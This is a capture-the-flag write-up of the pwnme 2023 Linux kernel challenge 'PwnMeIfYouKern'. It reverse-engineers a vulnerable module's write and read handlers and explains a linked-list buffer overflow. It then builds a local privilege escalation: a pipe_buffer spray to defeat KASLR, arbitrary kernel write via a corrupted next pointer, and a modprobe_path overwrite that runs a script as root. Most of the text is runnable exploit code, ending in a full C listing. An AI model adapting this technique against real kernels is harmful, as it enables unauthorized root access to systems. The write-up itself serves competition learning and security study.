[pwnme 2023 - pwn] PwnMeIfYouKern
PwnMeIfYouKern was a linux kernel exploitation challenge from pwnme 2023.
There were no SMAP or SMEP, but KASLR was activated.
user@PwnMeIfYouKern:~$ cat /proc/cpuinfo | grep sm.p
user@PwnMeIfYouKern:~$ cat /proc/cmdline
console=ttyS0 loglevel=3 oops=panic panic=1 kaslr
user@PwnMeIfYouKern:~$ cat /proc/sys/vm/mmap_min_addr
4096
TL;DR
- we manipulate elements from a linked list
- each element contains a buffer, his size, and a pointer to the next element of the list
- there is a buffer overflow, we can change the size of the buffer to leak data, and overwrite the pointer to the next element to get an arbitrary read/write
- break kaslr by leaking a
pipe_buffer
structure - overwrite
modprobe_path
- enjoy
Reverse engineering
Here is the write
function :
size_t __fastcall pwnmeifyoukern_write(int u_fd, char *u_buf, size_t u_count)
{
arg_t *arg; // rax MAPDST
int want_new_item; // edx
int idx; // ecx
item_t *target; // rax
item_t *new_item; // rax
item_t *head; // rdx
printk(&unk_3AD);
arg = (arg_t *)_kmalloc(u_count, 3264LL);
if ( !arg )
return -12LL;
if ( u_count > 0x7FFFFFFF || copy_from_user(arg, u_buf, u_count) )
{
kfree(arg);
return -14LL;
}
want_new_item = arg->want_new_item;
if ( arg->want_new_item )
{
if ( want_new_item == 1 )
{
new_item = (item_t *)_kmalloc(u_count + 0x10C, 3264LL);
if ( !new_item )
{
kfree(arg);
return -12LL;
}
++list.nb_items;
qmemcpy(new_item, &arg->idx, u_count - 4);// when want_new_item == 1, there is no arg->idx, the buffer is at arg+4 (in place of idx)
new_item->size = u_count - 4;
head = list.head;
list.head = new_item;
new_item->next = head; // insert at the beginning of the list
goto end;
}
err:
kfree(arg);
return -22LL;
}
idx = arg->idx;
if ( idx < 0 || (unsigned __int64)idx >= list.nb_items )
goto err;
target = list.head;
while ( want_new_item != idx )
{
target = target->next;
++want_new_item;
}
qmemcpy(target, arg->buf, u_count - 8); // buffer overflow
target->size = u_count - 8;
end:
kfree(arg);
return u_count;
}
When we ask for a new item, the module reads from user a structure like this one :
struct arg_t {
int want_new_item;
char buf[1]; // user-defined size
};
It then allocates a new structure of size u_count + 0x10C
, it is the new
element of the list, and copies the user buffer into this new element.
Here is the structure of an element :
struct item_t {
char buf[256];
__int64 size;
item_t *next;
char padding[u_count-4]; // wtf
};
As you can see, buf
is a fixed size buffer of 256 bytes. We can copy an
arbitrary sized buffer into it so we can overwrite size
and next
. However,
we can not overflow on an adjacent structure, and the size
is updated according
to our input buffer. Therefore we are only able to control the next
member,
giving us arbitrary read/write primitives.
The new element is inserted at the beginning of the linked list.
If we call the write function without want_new_item
set to 1, it expects a
structure such as :
struct arg_t {
int want_new_item;
int idx;
char buf[1]; // user-defined size
};
So, we can specify the index of the element we want to edit, the function then copies the whole buffer to the already existing element without checking that the size of the new buffer is less than the size of the existing element’s buffer. There is a buffer overflow and we can overflow on the following structures. The size of the element is updated to suit the size of our input buffer, so we can not leak data by just submitting a large buffer as we would overwrite the data.
The read
function is pretty simple.
__int64 __fastcall pwnmeifyoukern_read(int u_fd, char *u_buf, size_t u_count)
{
__int64 nb_copied; // rbx
item_t *head; // r14
unsigned __int64 i; // rcx MAPDST
unsigned __int64 item_size; // r13
nb_copied = 0LL;
printk(&unk_3C8);
head = list.head;
for ( i = 0LL; i < list.nb_items; ++i )
{
item_size = head->size;
if ( u_count < nb_copied + item_size )
item_size = u_count - nb_copied;
if ( item_size >= 0x80000000 || copy_to_user(&u_buf[nb_copied], head, item_size, i, 0x80000000LL) )
return -14LL;
nb_copied += item_size;
if ( u_count == nb_copied )
break;
head = head->next;
}
return nb_copied;
}
It just copies u_count
bytes to the user buffer. If the first element contains
less than u_count
bytes, it will read the buffer of the first element, the one
of the second element, and so on, until it reads u_count
bytes.
We saw that we can overwrite the size of an element, as well as the next
pointer. So we have an out of bounds read and an arbitrary read.
Exploitation
First of all, we create an item and update its size to leak a coming structure.
memset(buf, 'A', BUF_SIZE);
new_item(buf, 0x100); // A
// change A.size
memset(buf, 0, BUF_SIZE);
memset(buf, 'A', 0x100);
*(unsigned long long *)(buf + 0x100) = 0x1337; // size (will be overwritten
*(unsigned long long *)(buf + 0x108) = NULL; // next
edit_item(0, buf, 0x400+0x30); // new size
I have choosen to target kmalloc-1024
(0x100 + 0x10c = 0x20c = 524
) because
there were no allocation on this cache which makes my exploit more reliable.
As a target structure to leak, I have choosen a struct pipe_buffer
(thanks to
this)
as it fits in kmalloc-1024
and contains a pointer to a structure in the
.data
segment, allowing us to leak the kernel base address.
// spray with pipe_buffer
// https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
err("pipe");
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
err("pipe write");
}
}
This gives us the following heap layout:
We now have to read 0x418 bytes to leak pipe_buffer.ops
and break KASLR.
// read A and leak pipe_buffer.ops
memset(buf, 0, BUF_SIZE);
n = read(fd, buf, 0x400 + 0x30);
if (-1 == n) {
err("read");
}
//hex_view(buf, n);
leak = *(unsigned long long *)(buf + 0x400 + 0x10);
kbase = leak - (0xffffffffa8210840 - 0xffffffffa7a00000);
modprobe_path = kbase + (0xffffffff89251a00 - 0xffffffff88800000);
printf("[+] pipe_buffer.ops = %p\n", leak);
printf("[+] kbase = %p\n", kbase);
printf("[+] modprobe_path @ %p\n", modprobe_path);
Now that we have the kernel base address, I have choosen to overwrite
modprobe_path
as it is a fast and easy way to privesc. We could also make
the kernel executes commit_creds(prepare_creds())
by overwritting
pipe_buffer.ops
with a userland pointer to execute our own functions as there
is no SMAP or SMEP, but by overwritting modprobe_path
, our exploit will work
even with these protections enabled.
We will use the first buffer overflow to overwrite the next
pointer with
modprobe_path
. We have to create a new item before overwritting the next
field in order to have 2 elements in the linked list :
memset(buf, 'A', BUF_SIZE);
new_item(buf, 0x100); // B -> A
// B.next = modprobe_path
memset(buf, 0, BUF_SIZE);
*(unsigned long long *)(buf + 0x108) = modprobe_path;
edit_item(0, buf, 0x110);
// overwrite modprobe_path
strncpy(buf, "/home/user/pld", BUF_SIZE);
edit_item(1, buf, strlen(buf) + 1);
Unfortunately for us, there are two pointers at modprobe_path+0x100
and we
just overwrote them, making the kernel panics when executing the file starting
with an unknown magic number.
gef➤ tel 0xffffffff92a51a00 -l 40
0xffffffff92a51a00│+0x0000: "/sbin/modprobe"
0xffffffff92a51a08│+0x0008: 0x000065626f727064 ("dprobe"?)
0xffffffff92a51a10│+0x0010: 0x0000000000000000
0xffffffff92a51a18│+0x0018: 0x0000000000000000
0xffffffff92a51a20│+0x0020: 0x0000000000000000
0xffffffff92a51a28│+0x0028: 0x0000000000000000
0xffffffff92a51a30│+0x0030: 0x0000000000000000
0xffffffff92a51a38│+0x0038: 0x0000000000000000
0xffffffff92a51a40│+0x0040: 0x0000000000000000
0xffffffff92a51a48│+0x0048: 0x0000000000000000
0xffffffff92a51a50│+0x0050: 0x0000000000000000
0xffffffff92a51a58│+0x0058: 0x0000000000000000
0xffffffff92a51a60│+0x0060: 0x0000000000000000
0xffffffff92a51a68│+0x0068: 0x0000000000000000
0xffffffff92a51a70│+0x0070: 0x0000000000000000
0xffffffff92a51a78│+0x0078: 0x0000000000000000
0xffffffff92a51a80│+0x0080: 0x0000000000000000
0xffffffff92a51a88│+0x0088: 0x0000000000000000
0xffffffff92a51a90│+0x0090: 0x0000000000000000
0xffffffff92a51a98│+0x0098: 0x0000000000000000
0xffffffff92a51aa0│+0x00a0: 0x0000000000000000
0xffffffff92a51aa8│+0x00a8: 0x0000000000000000
0xffffffff92a51ab0│+0x00b0: 0x0000000000000000
0xffffffff92a51ab8│+0x00b8: 0x0000000000000000
0xffffffff92a51ac0│+0x00c0: 0x0000000000000000
0xffffffff92a51ac8│+0x00c8: 0x0000000000000000
0xffffffff92a51ad0│+0x00d0: 0x0000000000000000
0xffffffff92a51ad8│+0x00d8: 0x0000000000000000
0xffffffff92a51ae0│+0x00e0: 0x0000000000000000
0xffffffff92a51ae8│+0x00e8: 0x0000000000000000
0xffffffff92a51af0│+0x00f0: 0x0000000000000000
0xffffffff92a51af8│+0x00f8: 0x0000000000000000
0xffffffff92a51b00│+0x0100: 0xffffffff92a51b00 → [loop detected]
0xffffffff92a51b08│+0x0108: 0xffffffff92a51b00 → 0xffffffff92a51b00 → [loop
detected]
0xffffffff92a51b10│+0x0110: 0x0000000000000032 ("2"?)
So we have to make a backup of this memory area, then overwrite modprobe_path
and rewrite the backup.
memset(buf, 'A', BUF_SIZE);
new_item(buf, 0x100); // B -> A
// B.next = modprobe_path
memset(buf, 0, BUF_SIZE);
*(unsigned long long *)(buf + 0x108) = modprobe_path;
edit_item(0, buf, 0x110);
// leak [modprobe_path; modprobe_path + 0x108] to prevent panic
memset(bak, 0, sizeof(bak));
n = read(fd, bak, 0x110 + 0x108);
if (-1 == n) {
err("read");
}
//hex_view(bak, n);
// overwrite modprobe_path
strncpy(buf, "/home/user/pld", BUF_SIZE);
edit_item(1, buf, strlen(buf) + 1);
// B.next = modprobe_path + 0x20
memset(buf, 0, BUF_SIZE);
*(unsigned long long *)(buf + 0x108) = modprobe_path + 0x20;
edit_item(0, buf, 0x110);
// prevent panic
memmove(bak, bak+0x110+0x20, 0x108-0x20);
edit_item(1, bak, 0x108-0x20);
We just need to create the script /home/user/pld
that will be executed with
the root user and to execute a file containing an unknown magic number to
trigger to execution of /home/user/pld
:
puts("[+] getting a shell :)");
system("echo '#!/bin/sh\nchmod -R 777 /passwd' > /home/user/pld");
system("echo -e '\xef\xbe\xad\xde' > /home/user/x");
system("chmod 777 /home/user/pld /home/user/x");
system("/home/user/x");
To upload the exploit binary on the remote server and minimize it we can compile
it using musl-gcc
, then gzip
and base64
it.
user@PwnMeIfYouKern:~$ ls -la /passwd
total 4
drwxr-xr-x 2 root 0 0 May 5 21:55 .
drwxr-xr-x 14 user 1000 0 May 9 22:46 ..
-rw------- 1 root 0 17 May 5 21:55 passwd
user@PwnMeIfYouKern:~$ cat /passwd/passwd
cat: can't open '/passwd/passwd': Permission denied
user@PwnMeIfYouKern:~$ /exploit
[*] Spraying pipe_buffer objects...
[+] pipe_buffer.ops = 0xffffffffa2810840
[+] kbase = 0xffffffffa2000000
[+] modprobe_path @ 0xffffffffa2a51a00
[+] getting a shell :)
/home/user/x: line 1: ᆳ: not found
user@PwnMeIfYouKern:~$ ls -la /passwd/passwd
-rwxrwxrwx 1 root 0 17 May 5 21:55 /passwd/passwd
user@PwnMeIfYouKern:~$ cat /passwd/passwd
PWNME{dummyflag}
Full exploit
Here is the full exploitation code :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#define err(msg) do { perror(msg); exit(-1); } while (0);
#define BUF_SIZE 0x1000
#define NUM_PIPEFDS 0x1
int fd;
struct arg_new {
int new_item;
char buf[0];
};
struct arg_edit {
int new_item;
int idx;
char buf[0];
};
void hex_view(char *buf, size_t size) {
for (int i = 0; i < size; i++) {
if ((i % 0x10) == 0) {
printf("%08x:", i);
}
printf(" %02hhx", buf[i]);
if ((i % 0x10) == 0xf) {
printf("\n");
}
}
printf("\n");
}
void new_item(char *buf, size_t size) {
struct arg_new *arg = calloc(1, sizeof(struct arg_new) + size);
arg->new_item = 1;
memcpy(arg->buf, buf, size);
//hex_view(arg, sizeof(struct arg_new) + size);
if (-1 == write(fd, arg, sizeof(struct arg_new) + size)) {
err("write new item");
}
free(arg);
}
void edit_item(int idx, char *buf, size_t size) {
struct arg_edit *arg = calloc(1, sizeof(struct arg_edit) + size);
arg->new_item = 0;
arg->idx = idx;
memcpy(arg->buf, buf, size);
//hex_view(arg, sizeof(struct arg_edit) + size);
if (-1 == write(fd, arg, sizeof(struct arg_edit) + size)) {
err("write edit item");
}
free(arg);
}
int main() {
char *buf = malloc(BUF_SIZE);
void *leak, *kbase, *modprobe_path;
int n;
char bak[0x400] = {0};
int pipefd[NUM_PIPEFDS][2];
fd = open("/dev/pwnmeifyoukern", O_RDWR);
if (-1 == fd) {
err("open");
}
memset(buf, 'A', BUF_SIZE);
new_item(buf, 0x100); // A
// change A.size
memset(buf, 0, BUF_SIZE);
memset(buf, 'A', 0x100);
*(unsigned long long *)(buf + 0x100) = 0x1337; // size (will be overwritten)
*(unsigned long long *)(buf + 0x108) = NULL; // next
edit_item(0, buf, 0x400+0x30); // new size
// spray with pipe_buffer
// https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
err("pipe");
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
err("pipe write");
}
}
// read A and leak pipe_buffer.ops
memset(buf, 0, BUF_SIZE);
n = read(fd, buf, 0x400 + 0x30);
if (-1 == n) {
err("read");
}
//hex_view(buf, n);
leak = *(unsigned long long *)(buf + 0x400 + 0x10);
kbase = leak - (0xffffffffa8210840 - 0xffffffffa7a00000);
modprobe_path = kbase + (0xffffffff89251a00 - 0xffffffff88800000);
printf("[+] pipe_buffer.ops = %p\n", leak);
printf("[+] kbase = %p\n", kbase);
printf("[+] modprobe_path @ %p\n", modprobe_path);
memset(buf, 'A', BUF_SIZE);
new_item(buf, 0x100); // B -> A
// B.next = modprobe_path
memset(buf, 0, BUF_SIZE);
*(unsigned long long *)(buf + 0x108) = modprobe_path;
edit_item(0, buf, 0x110);
// leak [modprobe_path; modprobe_path + 0x108] to prevent panic
memset(bak, 0, sizeof(bak));
n = read(fd, bak, 0x110 + 0x108);
if (-1 == n) {
err("read");
}
//hex_view(bak, n);
// overwrite modprobe_path
strncpy(buf, "/home/user/pld", BUF_SIZE);
edit_item(1, buf, strlen(buf) + 1);
// B.next = modprobe_path + 0x20
memset(buf, 0, BUF_SIZE);
*(unsigned long long *)(buf + 0x108) = modprobe_path + 0x20;
edit_item(0, buf, 0x110);
// prevent panic
memmove(bak, bak+0x110+0x20, 0x108-0x20);
edit_item(1, bak, 0x108-0x20);
puts("[+] getting a shell :)");
system("echo '#!/bin/sh\nchmod -R 777 /passwd' > /home/user/pld");
system("echo -e '\xef\xbe\xad\xde' > /home/user/x");
system("chmod 777 /home/user/pld /home/user/x");
system("/home/user/x");
close(fd);
return 0;
}